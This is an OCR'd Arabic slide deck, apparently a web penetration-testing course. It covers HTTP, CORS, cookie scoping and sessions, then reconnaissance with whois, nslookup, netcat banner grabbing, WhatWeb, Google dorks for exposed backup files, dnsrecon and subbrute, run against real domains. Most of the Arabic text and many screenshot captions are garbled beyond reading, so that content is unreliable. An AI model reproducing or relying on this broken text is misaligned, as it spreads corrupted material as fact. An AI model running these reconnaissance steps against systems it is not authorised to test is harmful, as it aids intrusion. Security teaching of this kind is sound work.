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Hyper Test Transfer Protocol 4l jlaial sa HTTP J) JsS 589 5
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LS aalall ) Parameter 13 (e allii Headers J) 4 saas (3a Juy zriucaiiall o
Ly ) JSAL

google.com:80

Web Browser Web Server

<[>

GET / HTTP/1l.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:36.0) Gecko/20100101 Firefox/36.0

Accept: text/html,application/xhtml+xml
Accept-Encoding: gzip, deflate

Connection: keep-alive
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(... 415 HTTP/S JsS s 9 bl

HTTP/1.1 200 OK

Date: Fri, 13 Mar 2015 11:26:05 GMT
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

Server: Jgws

Content-Length: 258

<PAGE CONTENT>
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Content-type
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= th.c Qﬁ\jﬂa ¢ CORS J! cus SOP CJM 4_\4); uﬁ sdic 148 ¢ila JaSal o
Response ) g« Boom.com & s« @Lum o) dal (é Feaders Response
Headers Response (ax 48 o) a2 ) a 5¥ Null.com (API) &2 s« (= Data
Null.com &8s (A8 Lgiual o 2 )Y

Aaay ol 85w Access-Control-Allow-Origin 4«xl Response Header d;\ .
oy A a8 gall sl 48 aai Cus Null.com @@ s g2l Headers J) (o
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s 5 Access-Control-Allow-Credentials 4« Response Header U
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dse 2y G GET g o« Request JS& o JAdl Jaw oo

Cus Syndication.twitter.com & (» Gleslaa AL platform.twitter.com

8 5l Al mavss Jed Origin 4eu) parameter (8 Glo slaall 330 (3l &8 gall aiia g o
Response J) «a s ollad iy Syndication

GET https://syndication.twitter.com/settings HTTP/1.1
Host: syndication.twitter.com
Origin: https://platform.twitter.com



(...4LS5) Same Origin Policy dea¥! (i Aulis agh

O platform.twitter.com as<! Syndication.twitter.com @@ zaw ddlly e
Saa¥) sl alUaall il sleall o3a 22l

HTTP/1.1 288 OK

access-control-allow-credentials: true
ess-control-allow-origin: https://platform.twitter.com
cache-control: must-revalidate, max-age=600

tent-length: 97

content-type: application/json; charset=utf-8

date: Sat, @4 May 2019 89:58:49 GMT

last-modified: Sat, @4 May 2019 ©9:58:49 GMT

server: tsa_o

set-cookie: tfw_exp=0; Max-Age=86408; Expires=Sun, 5 May 2019 ©9:58:49 GMT; Path=/; Domain=.twitter.com
strict-transport-security: max-age=631138519

vary: Origin

x-connection-hash: 5448a75fbb4145c¢52757431d95ea9¢c71

x-response-time: 116

{"should_cobtain_cookie_consent":false,"is_bucketed":false,"experiments":{},"is_allowed_ads":true}
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Jueed el (5 sinsa @by ol (e Bamall )y Sllaall @l JS e 325l Cawdl o
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low-credentials: true

1-al
access-control-allow-origin: *
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Al " S S @}ww@M\w@}mumg\ Gl ety JliaY 554
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Headers



Itoms-caslon.coml | customerD=49TISdS2 154002 17:00 Yes (. .. AJAS.J) COO kl es d‘ e-@

x| | | J | J

Domain Path content expires server

s Jaall (e e sana (0 Cookie J) (sSh o
zisaiall Cookie d) 4 sl 5all (e sall ansl 235y 98 Domain -1

&) (o8 il Cookie d Al sy O gl 8 EM\ bl s Path -2 e
Loa
J

name=value J&& e & 5 Cookie J) 4 4 Content -3 ¢
Cookie J! alasiul elghil G5 2asy 4 Expires -4 »

HTTP JsSs5» J3A Cookie ) Juw ) e méaiall sy o8 HTTP Only Flag -5
HTML e o> A 6S5 ) 51 JS, Flash Java ddaud o0 el B (e aday s

HTTPS JsS 559 0 JDA (e 385 Ju i <o 5w Cookie ) () sliae Secure Flag -6 ¢



Jia (... 4lS8) Cookies J) e
i.\. Request =

:."‘ -
Web Browser www.google.com

POST /login.php
Host: www.google.com

usr=John&Pass=mypass

Response

e ——

HTPP /1.1 2000K

Set-Cookie: domain=google.com; path=/; expires=espires=Mon;
16-Apr-2013 19:03:22 GMT; authenticated='1"'; httpOnly;
secure;

<PAGE CONTENT>
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Jia (... 4lS8) Cookies J) e

Another Request with valid Cookie

GET /mail.php
Host: www.google.com
Cookie=authenticated="1";

Examples of Correct Cookie Examples of Incorrect Cookie

Installation Installation
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Correct Cookie Installation Examples



Example #1

a.elswapt.site

Web Browser

The browser POST (http://a.elswapt.site/login.php)
requests a page
from the target
domain

&
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Example #1

The browser
requests a page
from the target

domain

a.elswapt.site

POST (http://a.elswapt.site/login.php)

HTTP RESPONSE HEADER:

Set-Cookie: SESSID=d8a4z21

Path =/

Ahmed Hashem El Fiky

The web server
sends a response

including a
cookie without a
domain value




Example #1

Web Browser a.elswapt.site

POST (http://a.elswapt.site/login.php)

The cookie is
accepted and will
be available only Set-Cookie: SESSID=d8a4z21

to the target

. Path =/
domain

HTTP RESPONSE HEADER:

a.elswapt.site,

since the domain GET (http://a.elswapt.site/logout.php)
value was not HTTP Request Header:

specified.

Cookie SESSID:=d8a4z21
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This cookie will be sent in each HTTP request matching the
following URLs:

* http://a.elswapt.site/*

 https://a.elswapt.site/*
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Example #2

a.elswapt.site

Web Browser

The browser POST (http://a.elswapt.site/login.php)
requests a page
from the target
domain
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Example #2

Web Browser a.elswapt.site

The browser POST (http://a.elswapt.site/login.php)
requests a page

The web server
from the target HTTP RESPONSE HEADER: @
domain sends a response
Set-Cookie: SESSID=d8adz21; with the domain
domain:= .elswapt.site; value
Path =/ .elswapt.site

and the path value
/
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The cookie is accepted because the domain value
.elswapt.site is a suffix of the domain emitting the cookie,
a.elswapt.site, therefore it will be accepted and sent in
each request matching the following URLs:

* http://elswapt.site/* * http://*.elswapt.site/*
* https://elswapt.site/* ttps://* elswapt.site/*
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Example #2

This is what will happen. The cookie previously set is sent to

both a and b subdomains.
GET (http://a.elswapt.site/pagel.php)
l.s:;.

Web Browser HTTP Request Header:

Cookie SESSID:=d8a4z21

GET (http://b.elswapt.site/index.php)

HTTP Request Header:

Cookie SESSID:=d8a4z21
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Example #3

Web Browser a.elswapt.site

The browser POST (http://a.elswapt.site/login.php)
requests a page
from the target
domain
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Example #3

a.elswapt.site

The browser POST (http://a.elswapt.site/login.php)
requests a page

from the target
domain HTTP RESPONSE HEADER: & The web server

sends a response

Set-Cookie: SESSID=d8a4z21;
Path =/learning;

without a domain
value and the path
value /learning
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The cookie is accepted and will be available only to the target
domain a.elswapt.site and path /learning/*.

So, this cookie will be sent in each request matching the
following URLs:

* http://a.elswapt.site/learning/*
* https://a.elswapt.site/learning/*
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Example #3

This is what will happen. The cookie will be sent for resources
inthe /learning/ path.

GET (http://a.elswapt.site/pagel.php) p— pagel.php

Web Browser HTTP Request Header: :
@ .:No COOKTES a.elswapt.site

EEE— learning/lab.php

GET (http://a.elswapt.site/learning/lab.php)
HTTP Request Header:

Cookie SESSID:=d8a4d4z21
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Example #4

Web Browser a.elswapt.site

The browser POST (http://a.elswapt.site/login.php)
requests a page
from the target
domain
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Example #4

a.elswapt.site

The browser POST (http://a.elswapt.site/login.php)
requests a page

from the target @ The web server
domain HTTP RESPONSE HEADER: = sends a response
with a cookie
Set-Cookie: SESSID=A; named SESSID,

Domain:= .elswapt.site ;
Path =/

value A, and a
domain value
.elswapt.site
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After that, the browser requests a second page from the
target domain elswapt.site and the web server sends a

response including a cookie with the name SESSID, value B,
and without domain value.
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Example #4

Web Browser elswapt.site

The browser POST (http://elswapt.site/page2.php)
requests a page
from the target
domain
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Example #4

Web Browser elswapt.site

The browser POST (http://elswapt.site/page2.php)
requests a page

from the target
domain HTTP RESPONSE HEADER: & The web server
sends a response
Set-Cookie: SESSID=B; with the name

Path =/ SESSID, value B, and
without domain
value
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Both cookies will be accepted and stored by the browser.
They will not interfere with one another as they are two
different cookies.

GET (http://a.elswapt.site/pagel.php) a.elswapt.site
HTTP Request Header:

— pagel.php

Web Browser

Cookie SESSID:=A

e — elswapt.site
GET (http://elswapt.site/lab.php) -

HTTP Request Header:

lab.php

Cookie SESSID:=B
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Incorrect Cookie Installation Examples



Example #1

Web Browser a.elswapt.site

The browser POST (http://a.elswapt.site/login.php)
requests a page
from the target
domain
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Example #1

The browser
requests a page
from the target

domain

a.elswapt.site

POST (http://a.elswapt.site/login.php)

HTTP RESPONSE HEADER: @

Set-Cookie: SESSID=d8a4z21;
domain:= b.elswapt.test ;
Path =/

Ahmed Hashem El Fiky

The web server
sends a response
including a

cookie with the
domain
b.elswapt.test




Example #1

a.elswapt.site

POST (http://a.elswapt.site/login.php)

The cookie is not
accepted

because the Set-Cookie: SESSID=d8a4z21;

domain domain:= b.elswapt.test ;
b.elswapt.test is Path =/

HTTP RESPONSE HEADER:

not a suffix of

the domain GET (http://a.elswapt.site/logout.php)

a.elswapt.site HTTP Request Header:
that sent the

cookie. < No Cookie >
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Example #2

a.elswapt.site

Web Browser

The browser POST (http://a.elswapt.site/login.php)
requests a page
from the target
domain
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Example #2

The browser
requests a page
from the target

domain

Web Browser a.elswapt.site

POST (http://a.elswapt.site/login.php)

Set-Cookie: SESSID=d8a4z21;
domain:= b.elswapt.site ;
Path =/

Ahmed Hashem El Fiky

HTTP RESPONSE HEADER: &

The web server
sends a response
including a

cookie with the
domain
b.elswapt.site




Example #2

a.elswapt.site

POST (http://a.elswapt.site/login.php)

The cookie is not
accepted because

the cookie Set-Cookie: SESSID=d8a4z21;

domain value domain:= a.elswapt.test ;
b.elswapt.site is Path =/

HTTP RESPONSE HEADER:

not a suffix of the
domain

: GET (http://a.elswapt.site/pagel.php)
a.elswapt.site HTTP Request Header:

emitting it. v
< No Cookies>
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Session J aed

auﬂms.uyHTTPJ\djsyj}uuum@y@&ﬁ\é\mwdmwqx_-

Lq\d\&c (edg\jew\ u.u) d.sa\j.d‘ JJMM\MJ&;JYHTTPJ\ U\L_UA'
)adhmg@_qub\um\.kcheﬁeqhﬂ B AR (e dadia aadiull Gl

ﬁu»ﬂj\ew‘wﬁﬁuﬁu\uw
Ll il Je Llall Session J) s Wil L_S3 LS Cookies J) 4 el 23 clld JaY o
PREN eas;'w.d\ CH
ve L ias o4 Cookie d! fe e 20l e Session JI (n)AS AL
eMAM Cs.zu.d\
Session Id/Token aaaive JS1 () Cus o
Cookie J! ¢Leil (1 g ) Session J) elgil i g o



(... 4SS) Session J) aed

02abl12.txt

N

Varl=abc
Var2=123

Web server Session \ aeOlde.txt

Database k

Varl=xyz
Var2=987
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. , | POST /login.php HTTP/1.1
The client uses a login Host: my.website.con
form to POST the user's -
. usr=John, passwd=p4ss
credentials. \ /
\ 4 Y
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The server sends back a
response with a Set-cookie

header field.

The cookie contains the
session ID.

\ 4

Ahmed Hashem El Fiky

HTTP/1.1 200 OK

Set-Cookie: SESS=MySess1234;
expires=Thu, 21-May-2015
15:25:20 GMT; path=/;
domain=my.website.com

W\




The browser will send back
the cookie according to the
cookie protocol, thus
sending the session ID.

\ 4
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4 N
J HTTP/1.1 200 OK %
le— | ...
\_ A
GET /resource HTTP/1.1
C——

Cookie: SESS=MySess1234

W\




Web Application Proxies e 4l

Intercepting Proxy Example

Browser
& I Internet

Intercepting
Proxy

Web Application
Here the proxy is an application

which intercepts the penetration
tester's browser traffic.
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Proxy Server Example

Internet

Client Computer Proxy Server

Web Application

Here the proxy server filters all

the traffic coming from the
internal network.
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Intercept Proxy <& 4eadiuall &l ga¥)

L Burp Suite Free Edition v1.6
Burp Intruder Repeater Window Help

* - 0X

| | Target I Proxy ] SpiderTScanner] IntruderTRepeater VSequencer TDecoder TCompareﬂ Extender TOptions TAIerts ]

Intercept T HTTP history ] WebScockets histery T Options ‘

1,_’ 1 Request to https:/jwww.elearnsecurity.com:443 [109.193.116.231]

| Raw | Params I Headers 1 Hex]

. Forward | [ Drop J | Intercept is on , [ Acticn | [comment this item

CET / HTTP/L..

Host: www.elearnsecuricy.com

User-Ag=nt: Nozilla/4.0 (compatibl=: MSI[E £.0: Windows NT 5.0)

Eccepr: cext/htwl,application/xhtml+<ml,applicacion/xml;q=0.9,*/*;(=0.8
Accept-Language: en-US,en; q~0.5

hecept-Encoding: gzip, deflate

Eonnection: keep-alive

[? J[< J[+ J[> Jzﬁpéaseath@vﬂ
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0 matches

BurpSuite !
ZAP J

SN

3l o
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—al ‘gl
38l adla daal /a0
il Jgatl) g el glaall el (5 jLikind
Ahmed.Hashem.EIFiky@outlook.com
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dnsrecon Tool Jl aed o gl (e Lt jaad i Al Cilasladl) o1 531 o8 Lo
subbrute Tool J! a¢é * WHOIS Tool J) a¢d *
theHarvestar Tool J! ~¢8 ¢ DNS J! agd o
DNS Zone zlhaiac agh e nslookup Tool J) aed
Transfer Netcraft a8 s« agd o

fierce Tool J) ¢ * Netcat Toold) a¢ o
DirBuster Tool J) a¢é * WhatWeb Tool JI ag
Shodan HQ ¢85 pet * Wappalyzer Tool J) a¢é *

<!l Functional Graph ¢l e Google Search Operators ) ~¢8 ¢



gl e L pmal asi (Al Cila gleall £ 531 4 L

e 5 Cargll (o Cilaslaall any 48 pral (2
(Web server, CMS, Database, ...) 25 Infrastructure Jl e Claglaa o
Caagll Jac 485 ) Application Logic J) (e <la slza o
IPs, Domains and SubDomains J! (e &l glas o
Virtual hosts J) (e Claslas o



WHOIS Tool J) ~¢&

Adliae Glily o) 8 (e il ownership dealdd (e Cad WHOIS J) 313l
Web-Based JS& 8 5 Command-Based JS& 8 31aY) o2 aa g e

File Edit View Search Terminal Help
. ”# whols L]'.-)C gl 8.com EQ\lem\mz\cMue

- "

¥Whois Sarvar Version 2.0 C:\tools>whois.exe google.com

Whois v1.12 - Domain information lookup utility
Sysinternals - www.sysinternals.com
NelCopyright (C) 2005-2014 Mark Russinowich

Domain names in the .com and .net domains can now be 1t

Connecting to COM.whois-servers.net. ..
Connecting to COM.whois-servers.net. ..
Connecting to whois.markmonitor.com. ..

Domain ID: 2138514 _DOMAIN _COM-YRSN
)F DOMAIN NAMES REG.RU LLC Registrar WHOIS Server: whois.markmonitor.com
ed. ru Registrar URL: http://www.markmonitor.com
S Updated Date: 2014-10-28712:38:28-0700
Creation Date: 1997-09-15T00:00:00-0700
Registrar Registration Expiration Date: 2020-09-13T721:00:00-076a
Registrar: MarkMonitor, Inc.

Registrar IANA ID: 292

Aborting search 508

r MName




(...ALS5) WHOIS Tool J) ag

web-based tools such as: whois.domaintools.com

Whois Lookup

Search
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DNS J) agé

<Domain Name System Jquain Name Service lbad jLaidl aDNS
(Sl Al a)) ALt A8 6T) e e s Galdl) Cppe sl ane) Ly )} adiiy
Cladiaia b 3l A4Sy A (e sall o Glaill anl i gad & LADNS ddag e
Al i) g daladll 5 gnall) anlatiun] P Address () e Y|
psall Jrand o) Sl sy o 681 a8 (g ¢ salls (alADIIP Address ae (e sl
sam sl Ally ade Al paladl 8 sl e

t
tum°“"pn.o 2

xoilIW

. 498.9
?‘ov'\des \P:
; DNS Server

A.
2
3. Mak B
3. e HTTP request to 198.61.190 243 |

User with . 3. HTTP Response b o \3

Web Browser

—

Server (IP: 198.61.190.243)
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(... 4LS3) DNS JI ped

‘leis Records 32 (e DNS J) (5S3,
A record °

Elad gal Canzatiual) a0l Galdl) [P o) gie ) Saill ail 4 g asdy o
NS record °

el gl Canaiinal) a0lall sl ) yady o

CNAME record °
Jexs domain.com Sl ad el Sia ey (alall GUaill any 5 et slaul fLEY adiing o
CNAME alaisl web.domain.com  Jie 4 o 8 3Uai sl Jee (Say ¢35 ySTY) a8 sall
PTR record °
Domain J) &) ) IP address J) dax yi o



(...ALS5) DNS J agd

MX record °

o aaa AV LU MX record omed & Cus (5 STV 3l das 55 e Jgsusall 585
Common Resource Record Types

RR Type Name Functions

A Address record Maps domain name to IP address
www.apnic.net. IN A 203.176.189.99

AAAA IPv6 address record Maps domain name to an IPv6 address
www.apnic.net. IN AAAA 2001:db8::1

NS Name server record Used for delegating zone to a nameserver
apnic.net. IN NS nsl.apnic.net.

PTR Pointer record Maps an IP address to a domain name
9.189.176.203.1in~addr.arpa. 1N PTR
WEw.apnic.net.

CNAME Canonical name Maps an alias to a hostname
web IN CNAME www.apnic.net.

MX Mail Exchanger Defines where to deliver mail for user @

domain
apnic.net. IN MX 10 mailOl.apnic.net.

IN MX 20 mailOD2.apnit

Ahmed Hashem El Fiky
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o C:\Windom\systedn.‘i'!\énud..&;

C:\>ns lookup
Server:

Address:

oogle.com
google-publ
8.8.8.8

Non-authoritative answer:
Name:
Addresses:

227
. 230
. 228
. 226

PN

.194.
194,
1194

a ™~ A

ic=-dns-a.google.com

1 4002:800: : 1002
3.224

nslookup Tool J) a¢d

Sl 5 |P address ) host name 4es il 23355 33l o o

<[>

nslookup google.com

View 5Search Terminal Help

File Edit

r~#F nslookup google.com
192.168.162.2

192.168.162.2#53

Server:

A'.!:i' ess.,

Non-authoritative answer:
Name: google.com
Address: 173.194.113.224
Name : aooqgle.com
Address; 173.194.113.228
Name: gocgle.com
Address: 173.194.113.229




(...4S5) nslookup Tool JI e

172.194.113.224 is the IP address we
have found in the previous step

:~# nslookup -type=PTR 173.194.113.224
Server: 192.168.102.2
Ad

192.168.102.2#53

Non-authoritative answer:
224,113.194,173.1n-addr.arpa name = milG

Authoritative answers can be found from:

r
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(...4S5) nslookup Tool JI e

nslookup —-querytype=ANY google.com

\ address 2
anger =
\# 1
) angsr =
:~# nslookup -querytype=ANY qoogle.com : At VL MBLURIRS
;5 Truncated, retrying in TCP mode. oA
Server: 192.168.102.2 R n = nsl.googl m
5 - M = i origin = nNsl.qgoogLe.co
Address: 192.168.102.2#53 "

Search Terminal

Help

mail addr in.google.cc

MNon-authoritative answer:

minimum
om

lesarye 2 gle.com.
googla.co | 'v=spfl clude; spf



(...4S5) nslookup Tool JI e

I
IP Location

ASN
Whois Server

IP Address

NetRange:

™ Singapore Singapore Cloudflare Inc.

[ AS13335 CLOUDFLARENET - CloudFlare, Inc. (registered J

whois.arin.net

104.20.2.47
-VTiaViado T/

1904.16.9.0 - 104,31.255.255

CIDR: 184.16.8.06/12

NetName: CLOUDFLARENET

NetHandle: NET-104-16-0-0-1

Parent: NET1e4 (NET-104-0-2-0-0)

NetType: Direct Assignment

OriginAs: AS13335

Organization: CloudFlare, Inc. (CLOUD14)

RegDate: 2014-93-28

Updated: 2014-03-28

Comment: https://www.cloudflare.com

Ref: http://whois.arin.net/rest/net/NET-1084-16-6-0-1

OrgName: CloudFlare, Inc.

Orgld: CLOUD14

Address: 665 Third Street #207
\City: San Francisco

Server:
Address:

Name:
Address:
Name:
Address:

:~# nslookup statcounter.com
192.168.102.2
192.168.102. 2#53

Non-authoritative answer:

statcounter.com
104.20.2.47

statcounter.com
104.20.3.47




Netcraft Tool J) ~¢

e W e s WHOIS and nslookup < 03U (BasS 2035038 Gila gleally de 3131 oo o

Netcraft

Aokl e glaall

Non-authoritative answer:

Name:
Address:
Name:
Address:

statcounter.com
104.20.2.47

statcounter.com
104.20.3.47

This is the IP address that we found using nslookup.

(= Network

Site Netblock Owner CloudFlare, Inc.
Domain Nameserver may.ns.cloudflare.com
IP address DNS admin dns@cloudflare.com
IPv6 address ot F - —

Domain registrar nknow

:~# nslookup statcounter.com

Organisation unknow Server: 192.168.102.2

Top Level Domain ommert Address: 192.168.102. 2#53

Hosting country B us




(...4LSS) Netcraft Tool JV agd

Netcraft

(& Network

Site http://statcounter.com Netblock Owner CloudFlare, Inc.

Domain

IP addrs
s N

IPv6 adq IP Location ™ Singapore Singapore Cloudflare Inc.

Domain ASN ™4 AS13335 CLOUDFLARENET - CloudFlare, Inc. (registered

o . Whois Server whois.arin.net

rganisy D b
_ P Address  104.20.3.47 0 you remember?
op Levy
. e 104.16.0.0 - 104.31.255.255 This Netblock belongs

Hosting CIDR: 104.16.2.0/12 I
NetName: CLOUDFLARENET n "

— NetHandie:  NET-104-16-6-0-1 to "CloudFlare"”, we H
Parent: NET184 (NET-104-0-8-8-8)
NetType: Direct Assignment =
originas:  Asissss have already found it
Organization: CloudFlare, Inc. (CLOUD14)
RegDate: 2014-93-28 = h =
Updated: 2014-03-28 using whois !
Comment: https://www.cloudflare.com
Ref: http://whois.arin.net/rest/net/NET-104-16-0-0-1
OrgName: CloudFlare, Inc.
\ Orgld: cLOuUD14
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(...4LSS) Netcraft Tool JV agd

s =N
© Background
Site title Microsoft - Official Home Page Date first seen August 1995
Site rank 1082 Primary language  English
Description At Microsoft our mission and values are to help people and businesses throughout the workd realise their full potential.
Keywords Not Present
Network
& Hosting History
Netblock owner IP address 0s Web server Last seen Refresh
Microsoft Corp One Microsoft \Way Redmond WA US 98052 134.170.188.221 unknown Microsoft-115/8.5 29-Mar-2015
Microsoft Corp One Microsoft Way Redmond WA US 98052 134.170.185.46 unknown Microsoft-115/8.5 25-Mar-2015
Microsoft Corp One Microsoft Way Redmond WA US 98052 134.170.188.221 unknown Microsoft-115/8.5 24-Mar-2015
Microsoft Corp One Microsoft Way Redmond WA US 98052 134,170.185.46 unknown Microsoft-1IS/8.5 22-Mar-2015
Microsoft Corp One Microsoft Way Redmond WA US 98052 134.170.188.221 unknown Microsoft-1I1S/8.5 21-Mar-2015
Microsoft Corp One Microsoft Way Redmond WA US 98052 134,170.185.46 unknown Microsoft-11S/8.5 15-Mar-2015
Microsoft Corp One Microsoft Way Redmond WA US 98052 134,170.188.221 unknown Microsoft-115/8.5 14-Mar-2015
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Netcat Tool J) e

a3 UDP JTCP 4Sud cuVlad) 44US 5 3¢ )8 LeiSay 13a ddases Unix o\.J\LSA NetCat
uuﬂ\@\.@..q.l;.uuuym M}Mjo)uu@wu&ﬂy}am&oh\sw
.ei\éj\ g9 Oe

</>_l

root@kali:~# nc 192.168.102.136 80

HEAD / HTTP/1.0 Remember that once

we establish the

HTTP/1.1 200 OK connection with netcat,
Date: Mon, 30 Mar 2015 14:40:06 GMT we have to send
Server: Apache/2.2.22 (Debian)
Last—-Modified: Thu, 05 Feb 2015
ETag: "1847cb-bl-50e5dcl184b340"
Accept-Ranges: bytes )
Content-Length: 177 From the server field we can see
Vary: Accept-Encoding that we are running Apache

Connection: close version 2.2.22 on Linux OS
Content-Type: text/html r

HEAD / HTTP/1.0 and

2:05 GMT . .
hit enter two times
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(...ALSS) Netcat Tool J) aed

<[>

root@kali:~# nc 134.170.185.46 80
HEAD / HTTP/l.O

HTTP/1.1 301 Moved Permanently .
Cache-Control: private ThefoHomnngcnﬂput
Content-Length: 23 shows us that the
Content-Type: text/html remote Web Server is
Location: http://www.microsw o o version o
Server: Microsoft-IIS/8.5 -
Set-Cookie:

ASPSESSIONIDACRQQCDQ=LKKMCDHAFINIAMHBICPIMLJF; path=/
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(...ALSS) Netcat Tool J) aed

<[>

root@kali:~# nc 134.170.188.221 80

HEAD / HTTP/1.0

HTTP/1.1 301 Moved Permanently

. .stripped output..
Server: Microsoft—IIS/i;i———’//,f—————_.
X-Powered-By: ASP.NET

X-UA-Compatible: IE=EmulatelE7

In this case, the header tells
us the Web App Is using
ASP.NET. Other possible
values are PHP, JSP, IBoss
and so on.

Date: Tue, 31 Mar 2015 07:48:01 GMT
Connection: close
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WhatWeb J) 312l ag

_ ed\a’l\ 5! Server J! & 9 43 ymal Loy PRENY 313l D e

:~/tools/WhatWeb# ./whatweb www.elearnsecurity.com
http://www.elearnsecurity.com [302] HTTPServer[Microsoft-IIS/7.5], IP[199.193.116.231],
Microsoft-IIS[7.5], RedirectlLocation[https://www.elearnsecurity.com/], Title|
| ], UncommonHeaders [x-xss-protection,x-frame-options,strict-transport-security], X-
Frame-Options[sameorigin], X-Powered-By[MOS 6502], X-XSS-Protection[1; mode=block]
https://www.elearnsecurity.com/ [200] HTMLS5, HTTPServer[Microsoft-IIS/7.5), IP[199.193.

116.231], JQuery, Microsoft-IIS[7.5], PoweredBy[elLearnSecurity,], Script[text/javascrip
t], Title]| 11h
], UncommonHeaders [x-xss-protection, x-frame-options,strict-transport-security], X-Fram
e-Options[sameorigin], X-Powered-By[MOS 6502], X-UA-Compatible[IE=edge], X-XSS-Protecti
on[1l; mode=block]
:~/tools/WhatWeb# I




r~/tools/W

http://www.elearnsecurity.com/ [302]

-V wWww.elearnsecurity.com

http://www.elearnsecurity.com [302] HTTPServer[Hicrosoft-IIS/7.5], IP[199.193.116.231], Hi
ectLocation[https://www.elearnsecurity.com/], Titlel ], UncommonHeaders[x-xss
ions,strict-transport-security], X-Frame-Options[sameorigin], X-Powered-By[MOS 6502], X-XS

ock]

URL H h-t t p . / .\'4'5'/.5'.“ .

Status : 302
HTTPServer

Description:

String

Description:

String

Microsoft-IIS

Description:

Version

RedirectLocation

Description:

String

Title

Description:

eleamsecurity.com

HTTP server header string. This plugin also attempts to
identify the operating system from the server header,
Hicrosoft-I11IS/7.5 (from server string)

IP address of the target, if available.
199.193.116.231

Microsoft Internet Information Services (IIS) for Windows
Server is a flexible, secure and easy-to-manage Web server
for hosting anything on the Web. From media streaming to
web application hosting, IIS's scalable and open
architecture is ready to handle the most demanding tasks. -
homepage: http://www.11s.net/

73

HTTP Server string location., used with http-status 301 and
302
https://www.elearnsecurity.com/ (from location)

The HTML page title




Wappalyzer J) 313l agd

5 Faritoadll de l) il g a3A § 534 paal p2ainsi Firefox ) priasia od Ailis) Lo o

€ 8 hteps /v elearnsecurity.com |7 IS R

(& @&n v elearnsecurity.com REseEN vy B Al B $ A e 3

# elLearnSecurity | elsSOP

3 & Font Awesome

Google Font API

Home Courses Cernfications Virtual Labs Corporate Resourcel .¢ NS 7.5

& jQuery 1.11.0
Get your free course

2" windows Server
Fust Name R .

Ll coogie amayves

Email

for Individuals
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Google Search Operators J! 313l agé

B g ml JSE Gl da 5o 2850 (8 2240505 Parameters 4 ¢

</>|
site:.microsoft.com

WWW

umnigconversationsuk

p
G O SIC site:.microsoft.com

Web Mmages Bws opping Maps Mora « sarch oo

Xhox One | Gaming
www.microsofLcomibox’ ~ Microsoll Corporation

x One I1s the only place to play the best exclusves and all the biggsst Hockbusters of tf

gar, Learn more about gaming on b

NET Downloads, Developer Resources & Case Studies ...
www.microsoft.com/net ¥ Microsolt Corporatior

» NET Framework prov 1 comprehensive and corsistent programming model f

building applicabons that have wisually stunning user expenences wit

Lumia Conversations UK

lumiaconversationsuk.microsoft.com/
- L Al T L s
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... 4Li) Google Search Operators J! 314

site: . .microsoft.com

—inurl:www.

site:.microsoft.com

-site:www.microsoft.com

site..microsoftcom -site:www.microsoftcom

Web mMages

Viaps
con

Cookies help us delver our semces. By using our senvices, you agree ta our use of cookies.

Leam more m

PCs with the Microsoft Signature Experience - Microsoft Store

htips:fisignature.microsoft.com! ¥
Microsoft Store PCs with Signature help ensure you getthe best e nence with

windows 2.1, Itis the cleanest PC experience with no junkwa

Microsoft Office - Tools to Get Work Done | Sign in
office.microsoft.com/ ~
From deskiop 1o web for Macs an

AP Cs, COffice delivars the tools 10 get work done . WViey
procuct information or sign in 1o < 3

yfice 365

nce Jo

D
X

Microsoft Azure: Cloud Computing Platform & Services

\htips://azure microsoft.com/ ¥

Conference Pass provides access to all sessions, content, and the

Guide Covering Steps to Download Candy Crush Saga ...
curah.microsoftcom/374817 ~
2 days aqo - Hi companions the amusement I'm atfenng 1o you down here today is the

particular case that is the most addictive and clients who are playing

MSDN Code Gallery - Microsoft
https://code.msdn.microsoft.com/ ~
ltems 1 - 10 of 2429 - Download and share sample applicanons,

resources with the developer

\_ comimuanity,

s
site:.microsoft.com -inurl:www.
Web Images =W 1OpRINK Mz Mors - sarch tool
A B, 7’0 O30 resul ) 1E sec( i
Microsoft Ignite - Register
ignite.microsofL.com/register ~
Full Conference Fass. All access. All breakout sessions. All socid events, $2,.220. The Full

code snippets, and othar
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(... 4L&5) Google Search Operators J) 3] agé

<[>

site:microsoft.com -site:subdomainl.microsoft.com
-site:subdomain?2.microsoft.com -inurl:subdomain3.microsoft.com

intitle:"Apache HTTP Server" intitle:"documentation”

intitle:"Apache HTTP Server" intitle:"documentation" site:target.com
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(... L) Google Search Operators J) 312l agé

"Index of" bak

filetype:"bak" or filetype:"inc"

"Directory listing for" bak
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dnsrecon Tool J) a¢

<3¢l SubDomains J) e Enall 223505 31aY) 634

dnsrecon —-d microsoft.com —-g

1~ dnsrecon -d microsoft.com -q
[*] Parforming General Enumeration of Domain: microsoft.com
DNSSEC is not configured for mic ro: _ 0ot I : . - :
SOA nsl.msft.nat 34 .0 *| Parforming Google Search Enumeration
SOA nsl.msft.net 2620:0:30: ;_,3 . CNAME www.microsoft.com toggle.www.ms.akadns.net
NS ns3.msft.net 163.221.113 ’ CNAME togqgle.www.ms.akadns.net www.microsoft.com-c.edgekey.net
NS ns3.msft.net 2620 3:&4::33 : CNAME www.mi "ﬁio“.con-c edgekey .nat www.microsoft.com-c.edgekey. ﬁut globa
NS nsd.msft.net 208.76.45.53 : CNAME www.mlicrosoft.com-c.edgekey.net.globalredir.akadns.naet 088 .dspb .akamale
NS nsd4.msft.net 2626:0:37::5 - A 210088 .dspb.akamaiedge.net 72.247,197.45
NS nsl.msft.net .0.53 : CNAME ieonline.microsoft.com any.edge.bing.com
NS nsl. 'n“‘_,rut 520:0:30::5 : A any.edge.bing.com 204.79.197.266
NS ) t.net 2€ . ) CNAME windows.microsoft.com origin.windows.micri t.com.akadns.net
NS t R2B:0 '3 ' A origin.windows.microsoft.com.akadns.net 134.170.119.140
MX n;crgsg~:-:gq_raiL_p :t::t_cr,_Jt‘icﬁ_:Or : CNAME support.microsoft.com wildcard.support.microsoft.com.edgekey.na
. '\'Wb wildcard.support .microsoft.com.edgekey.net e10315.g.akamaiedge.net
e10315.9.akamaiedge.net 2.17.164.63




subbrute Tool J a¢

ol SubDomams J e Caanll eda.w'j 3laY) 0l e

:~/tools/subbrute# python subbrute.py microsoft
microsoft _com

www ., ﬂﬂ'(I'O;OfT com
homa m i

git clone https://github.com/TheRook/subbrute.git
members.microsoft.com

blogs.microsoft.com

search.microsoft.com

i.microsoft.com

feads.microsoft.com

forums .mic oft.com

math . n‘ - .com

news.mic rosoft.com python subbrute.py -h
games. n1(lo~off com

de/.m1c10soft.c7m

mail .microsoft.com

info.microscTt.com

music.microsoft.com
